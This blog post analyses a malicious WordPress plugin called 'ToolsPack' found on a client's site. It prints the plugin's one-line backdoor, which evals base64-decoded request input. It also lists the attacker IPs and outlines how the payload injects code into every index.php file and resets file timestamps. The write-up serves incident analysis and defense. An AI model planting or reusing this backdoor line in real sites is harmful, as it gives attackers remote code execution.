ToolsPack plugin is bad stuff…
Then, after cleaning, it returns. Plus you get BlackListed by Google.
How does your index.php file get overwritten? Then, if you fix, how does the same file get replaced again? It is maddening.
Anyway – I don’t know where my client picked it up, but sitting there in the plugins directory, all pretty and capitalized, was
with one small file: toolspack.php containing this (oh man) :
$_REQUEST[e] ? eval( base64_decode( $_REQUEST[e] ) ) : exit;
Checking the log files for several day periods showed several different IP addresses hitting that toolspack.php:
126.96.36.199 188.8.131.52 184.108.40.206
Seems the hackers are interested only in the base index.php and the wp-admin/index.php
Actually, you will see later in the code, the hackers are editing every index.php from the root path on down.
Get rid of it? …Delete it? …Ha! NO! Let’s have some fun.
Besides, I still don’t know what other files and things they have … Lets see what it does. So I edited their ToolsPack: defanged it and logged their owned stuff:
I logged the Date/Time IP Address and Payload:
February 20, 2012, 3:19 pm - 220.127.116.11 - - ZXJyb3JfcmVwb3J0aW5nK... Long Block of junk -- why base64 hide it?
Base 64 Decoding shows how they can overwrite the file:
First, get the starting root directory and save the payload in a variable named $iframe…
Full Source truncated … you get the idea… BTW (Nice indenting, for a virus…)
1) Get the starting root directory and save the payload in a variable named $iframe…
2) Then loop through all directories and search for a file named like “index.”
3) Read the file contents, and blank out any <script> content:
4) Now insert the payload from above at the top and put the file back…
5) Finally, cover the tracks by reverting the file time to the original… really evil